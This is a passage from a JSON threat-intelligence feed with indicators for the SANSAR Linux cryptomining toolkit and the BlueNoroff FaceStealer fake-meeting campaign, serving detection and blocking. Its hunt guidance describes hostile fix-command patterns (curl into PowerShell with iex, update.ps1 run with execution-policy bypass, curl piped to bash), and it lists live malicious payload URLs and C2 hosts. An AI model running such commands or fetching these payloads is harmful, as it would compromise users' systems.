"https://iocwatch.com/t/SANSAR-Linux-GPU-Cryptomining-Toolkit/", "indicators": [ { "value": "00c9ac44291f83c72d54302e99d155a3e26d02225a3e516764d5833a99657c9e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of sansar, the Rust 0.1.3 miner orchestrator that talks to the onion C2 over Tor and supervises CPU and GPU miners.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "675c24728f87f7aa0fa07527027c95c24c246049c65eaef89270ab04ea50a180", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the malicious libnvidia-ml.so.1 wrapper that falsifies GPU utilisation readings.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "6ba1aa275e0e2826e8b48b36473539ca56cbdc41f429e539a45f8532b084d7a4", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of acpi_thermal_mgr.ko, the kernel rootkit loaded through DKMS and an initramfs loader to hide processes, files and sockets.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "df8ab6fd699e6ae90e63e9696bae8f01342708bafc2ed88af414337e4f237194", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of netns, the backdoor that retrieves its controller IPv4 address from an Ethereum contract and then connects on TCP port 8080.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "efxisnqldelyr5ra25oqfrsut54b34g26e7zrsiuupsoekjof2gho2id.onion", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Tor onion service used as SANSAR C2 (observed as efxisnqldelyr5ra25oqfrsut54b34g26e7zrsiuupsoekjof2gho2id.onion:9051).", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of kurt, an XMRig 6.25.0 miner dropped under /opt/vadi_/ as part of the SANSAR toolkit.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "acc706afc9322a3eae1ef49049749e0a7c9f1a123895ac56dc8a289beb2fb5b7", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of tilki, an SRBMiner-MULTI GPU miner dropped under /opt/vadi_/ as part of the SANSAR toolkit.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "/opt/vadi_/", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Staging directory for the SANSAR toolkit (sansar, kurt, tilki, netns and related files) on compromised Linux GPU hosts.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "acpi_thermal_mgr.ko", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Filename of the SANSAR kernel rootkit, built through DKMS and loaded from initramfs as acpi_thermal_mgr.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "0x43eb291f56688c63c93e8a93c4591fc997cf6349", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Ethereum contract the netns backdoor queries with eth_call (selector 0x6ded96e7) to retrieve its controller IPv4 address. Hunt for eth_call; do not block public Ethereum RPC services.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] }, { "value": "0x6ded96e7", "type": "function_selector", "confidence": "high", "recommended_action": "monitor", "description": "ABI function selector sent as eth_call data against 0x43eb291f56688c63c93e8a93c4591fc997cf6349 to retrieve the netns controller address.", "source_url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "source_label": "Elastic Security Labs – 0% GPU utilization: How SANSAR hides Linux cryptomining", "source_name": "Elastic", "sources": [ { "url": "https://www.elastic.co/security-labs/threat-command/sansar-linux-cryptomining-malware", "name": "Elastic" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt.kql", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt.spl", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt_raw.spl", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SANSAR-Linux-GPU-Cryptomining-Toolkit/hunt.yaral", "download": "SANSAR-Linux-GPU-Cryptomining-Toolkit_hunt.yaral" } ] }, { "id": "FaceStealer-BlueNoroff-Fake-Meeting-Lures", "folder": "threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures", "name": "FaceStealer: BlueNoroff Fake Zoom and Teams Meetings, Stolen Webcam Video and ClickFix Lures", "short": "FaceStealer / BlueNoroff fake meetings", "category": "Nation-state / social engineering", "published": "2026-11-12", "entry_date": "2026-11-13 00:20", "last_updated": "2026-11-13", "seq": 41, "headline": "North Korean fake Zoom and Teams calls replaying stolen webcam video to trick targets into running a malicious fix", "summary": "On 12 November 2026 the FBI published FLASH AC-111226-MS on FaceStealer, a North Korean scheme it attributes to the actors known as Sapphire Sleet, UNC1069, BlueNoroff and APT38. Hijacked Telegram, LinkedIn, Slack or Discord accounts invite a contact to a catch-up, a Calendly invite follows, and shortly before the call the target receives a typo-squatted Zoom or Teams link such as uu01webzoom.us or teams.livemeet.us. The fake meeting plays secretly recorded webcam video of earlier victims, or deepfakes of well-known industry figures, then stages an audio fault and talks the target into running a fix that installs a cookie harvester, keylogger, screen capture and backdoor while recording their webcam for the next round. The FBI says the scheme stole more than $400 million in 18 months, seized over 900 victim videos, and nearly poisoned a JavaScript library with tens of millions of weekly downloads. The same day Arctic Wolf reported that BlueNoroff now also uses fake document viewers, a NovaStream media player, Chrome PDF updates, identity checks and security scanners, published 98 high-confidence domains on three Hostwinds servers, and noted the fix commands have barely changed. The domains, IPs, payload URLs and lure hashes are on the block list; the strongest hunts are the paste-and-run cradles.", "caveat": "Many of the domains stopped resolving after the FBI disruption on 12 November, so treat them mainly as historical hunts. Arctic Wolf's target counts describe people the actor prepared material against, not confirmed compromises. Ten domains Arctic Wolf rates medium confidence are alert only. Do not block zoom.us, teams.microsoft.com or calendly.com.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Cryptocurrency and Web3", "Venture capital", "Open-source software maintainers", "Executives" ], "note": "The FBI says FaceStealer stole more than $400 million in 18 months and nearly compromised a JavaScript library with tens of millions of weekly downloads. Arctic Wolf found material prepared against 677 individuals in 58 countries, 84% of them founders or C-suite executives; this counts targets, not confirmed compromises.", "source": { "url": "https://www.ic3.gov/CSA/2026/261112.pdf", "label": "FBI FLASH AC-111226-MS – North Korean Hackers Use Secretly Recorded Webcam Library in FaceStealer Crypto Theft Scheme", "name": "FBI IC3" } }, "mitre": [ { "id": "T1586", "name": "Compromise Accounts", "url": "https://attack.mitre.org/techniques/T1586/" }, { "id": "T1583.001", "name": "Domains", "url": "https://attack.mitre.org/techniques/T1583/001/" }, { "id": "T1566.003", "name": "Spearphishing via Service", "url": "https://attack.mitre.org/techniques/T1566/003/" }, { "id": "T1204.004", "name": "Malicious Copy and Paste", "url": "https://attack.mitre.org/techniques/T1204/004/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.002", "name": "AppleScript", "url": "https://attack.mitre.org/techniques/T1059/002/" }, { "id": "T1059.004", "name": "Unix Shell", "url": "https://attack.mitre.org/techniques/T1059/004/" }, { "id": "T1125", "name": "Video Capture", "url": "https://attack.mitre.org/techniques/T1125/" }, { "id": "T1539", "name": "Steal Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1539/" }, { "id": "T1056.001", "name": "Keylogging", "url": "https://attack.mitre.org/techniques/T1056/001/" }, { "id": "T1195.001", "name": "Compromise Software Dependencies and Development Tools", "url": "https://attack.mitre.org/techniques/T1195/001/" } ], "recommended_actions": [ "Block the listed domains, the three Hostwinds addresses 104.168.149.230, 104.168.149.182 and 104.168.149.21, the payload URLs and the lure hashes, and search 90 days of DNS, proxy and EDR logs for them.", "Hunt for PowerShell or curl command lines containing [Console]::In.ReadToEnd() with iex, iwr downloads of %TEMP%\\update.ps1 run with -ep bypass, osacompile or osascript fed by curl on macOS, and curl -fsSL -k piped to bash on Linux.", "Alert on DNS for any updatesdk. host or a calendly. host outside calendly.com.", "Brief executives, finance, crypto and open-source maintainer staff: join meetings from the official app with an invite code, keep the webcam off until the inviter is confirmed, never run a fix command during a call, and confirm invites out of band.", "After any contact, terminate all Telegram and other messaging sessions, rotate browser-stored credentials and developer tokens, and move wallet funds to new seed phrases from a clean device." ], "sources": [ { "url": "https://www.ic3.gov/CSA/2026/261112.pdf", "label": "FBI FLASH AC-111226-MS – North Korean Hackers Use Secretly Recorded Webcam Library in FaceStealer Crypto Theft Scheme", "name": "FBI IC3" }, { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "label": "Arctic Wolf Labs – Still in the Meeting (full report and IOC appendix)", "name": "Arctic Wolf (2)" }, { "url": "https://bazaar.abuse.ch/sample/540da969ed2a0d828e208c99f3afb4b0763a7076144e1b9edd6ca9c7db0dbeae/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" } ], "indicator_count": 134, "block_now_count": 120, "hunt_count": 14, "hunt_counts": { "alert": 14 }, "indicator_counts": { "domain": 112, "url": 11, "filename": 4, "sha256": 4, "ipv4": 3 }, "ioas": [ { "artefact": "curl.exe or powershell.exe with [Console]::In.ReadToEnd() and iex / Invoke-Expression, typically pasted from a meeting \"fix\" prompt", "log_source": "EDR process events (DeviceProcessEvents), PowerShell 4104, Windows 4688 with command line", "why": "Arctic Wolf says BlueNoroff changed every visible lure but kept the same fix command: the page asks the target to paste a curl into PowerShell cradle that reads the payload from standard input and runs it. The FBI says FaceStealer victims are walked through exactly this kind of command during a fake Zoom or Teams call.", "action": "alert", "has_query": true, "source_url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf https://www.ic3.gov/CSA/2026/261112.pdf", "source_name": "Arctic Wolf", "title": "Pasted curl into PowerShell ReadToEnd and iex cradle", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "iwr -UseBasicParsing downloading $env:TEMP\\update.ps1, followed by powershell -ep bypass -f on that file", "log_source": "EDR process events, PowerShell 4104", "why": "The docview.ink LNK chain fetches update.ps1 into %TEMP%, runs it with execution policy bypass and deletes it.", "action": "alert", "has_query": true, "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/ https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "source_name": "Arctic Wolf", "title": "update.ps1 fetched to %TEMP% and run with -ep bypass", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "DNS or web requests to any updatesdk. host, or a calendly. host that is not calendly.com", "log_source": "DNS, proxy and EDR network logs (DeviceNetworkEvents)", "why": "Arctic Wolf calls these subdomain patterns fingerprints with no legitimate use: updatesdk hosts serve the fake SDK fix and calendly. hosts serve the verification lures.", "action": "alert", "has_query": true, "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/ https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "source_name": "Arctic Wolf", "title": "Lookups for updatesdk.* or calendly. hosts", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "macOS osacompile or osascript fed by curl, or a .scpt or Automator document.wflow launched from ~/Downloads", "log_source": "Defender for Endpoint on macOS process events, unified log", "why": "The macOS branches of the lures pipe curl into osacompile, run long osascript -e strings, or launch an Automator workflow from a ZIP to fetch the next stage.", "action": "alert", "has_query": true, "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/ https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "source_name": "Arctic Wolf", "title": "macOS curl into osacompile or Automator from Downloads", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Linux curl -fsSL -k piped to bash from an interactive shell", "log_source": "EDR process events on Linux, auditd execve", "why": "The Linux branch of the fake update tells the target to run curl -fsSL -k against an updatesdk or chromeupdate host and pipe it to bash.", "action": "alert", "has_query": true, "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/ https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "source_name": "Arctic Wolf", "title": "Linux curl -fsSL -k piped to bash", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 5, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/block_now.txt", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/defender_xdr_indicators.csv", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt.kql", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt.spl", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt_raw.spl", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/hunt.yaral", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures/iocs.csv", "download": "FaceStealer-BlueNoroff-Fake-Meeting-Lures_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/FaceStealer-BlueNoroff-Fake-Meeting-Lures", "share_url": "https://iocwatch.com/t/FaceStealer-BlueNoroff-Fake-Meeting-Lures/", "indicators": [ { "value": "uu01webzoom.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Typo-squatted Zoom meeting domain the FBI names as North Korean-controlled FaceStealer infrastructure, sent to targets shortly before a fake meeting.", "source_url": "https://www.ic3.gov/CSA/2026/261112.pdf", "source_label": "FBI FLASH AC-111226-MS – North Korean Hackers Use Secretly Recorded Webcam Library in FaceStealer Crypto Theft Scheme", "source_name": "FBI IC3", "sources": [ { "url": "https://www.ic3.gov/CSA/2026/261112.pdf", "name": "FBI IC3" } ] }, { "value": "teams.livemeet.us", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Typo-squatted Microsoft Teams meeting host the FBI names as North Korean-controlled FaceStealer infrastructure.", "source_url": "https://www.ic3.gov/CSA/2026/261112.pdf", "source_label": "FBI FLASH AC-111226-MS – North Korean Hackers Use Secretly Recorded Webcam Library in FaceStealer Crypto Theft Scheme", "source_name": "FBI IC3", "sources": [ { "url": "https://www.ic3.gov/CSA/2026/261112.pdf", "name": "FBI IC3" } ] }, { "value": "104.168.149.230", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Hostwinds VPS (AS54290) that Arctic Wolf identifies as the BlueNoroff primary lure host serving about 90 BlueNoroff domains.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "104.168.149.182", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Hostwinds VPS (AS54290) that Arctic Wolf identifies as the BlueNoroff host for the DocSend and Teams lure families and per-target subdomains.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "104.168.149.21", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Hostwinds VPS (AS54290) that Arctic Wolf identifies as the BlueNoroff host for the me-live meeting-room cluster.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://vip.novaplayer.online/view/7091322YJEemPZd0V5R4258BX3xe292n0", "type": "url", "confidence": "high", "recommended_action": "block", "description": "NovaStream fake media-player lure page.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://updatesdk.novaplayer.online/update-winsdk-18731628", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Windows ClickFix payload fetched by a curl | powershell fix command.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://updatesdk.novaplayer.online/update-macsdk-49661181", "type": "url", "confidence": "high", "recommended_action": "block", "description": "macOS AppleScript payload served by the NovaStream lure.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://updatesdk.novaplayer.online/update-linuxsdk-06166443", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Linux payload fetched by a curl | bash fix command.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://docview.ink/check/60046502686a7cjHHgIc", "type": "url", "confidence": "high", "recommended_action": "block", "description": "URL a malicious LNK uses to drop %TEMP%\\update.ps1.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://docview.ink/check/7060005211mD1eCY8u09", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Second LNK chain URL that drops %TEMP%\\update.ps1.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://calendly.idcheck.watch/DyPck", "type": "url", "confidence": "high", "recommended_action": "block", "description": "AppleScript source for the macOS Automator (document.wflow) JXA chain, posing as Calendly verification.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://chromeupdate.docdock.online/check/32831766541X56zrQlC1", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Windows payload behind the fake Chrome PDF Viewer update lure.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://chromeupdate.docdock.online/check/3976671880i9937o3D8T", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Linux payload (curl | bash) behind the fake Chrome update lure.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://calendly.docdock.online/troubleshoot-issue-092267", "type": "url", "confidence": "high", "recommended_action": "block", "description": "macOS AppleScript source that leads to PDF Viewer Update.scpt.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "https://calendly.docdock.online/uploads/2571422?id=4NrwnhccbXvUAZM", "type": "url", "confidence": "high", "recommended_action": "block", "description": "HTML lure kit hosted on a fake Calendly subdomain.", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "02live.com.co", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { "url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "name": "Arctic Wolf" }, { "url": "https://arcticwolf.com/wp-content/bluenoroff_still_in_the_meeting.pdf", "name": "Arctic Wolf (2)" } ] }, { "value": "02live.us.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BlueNoroff fake-meeting, document, media-player or security-scanner lure domain that Arctic Wolf rates high confidence (Hostwinds cluster, shared naming and certificate habits).", "source_url": "https://arcticwolf.com/resources/blog/still-in-the-meeting-bluenoroff-six-months-on/", "source_label": "Arctic Wolf Labs – Still in the Meeting: BlueNoroff Six Months On", "source_name": "Arctic Wolf", "sources": [ { 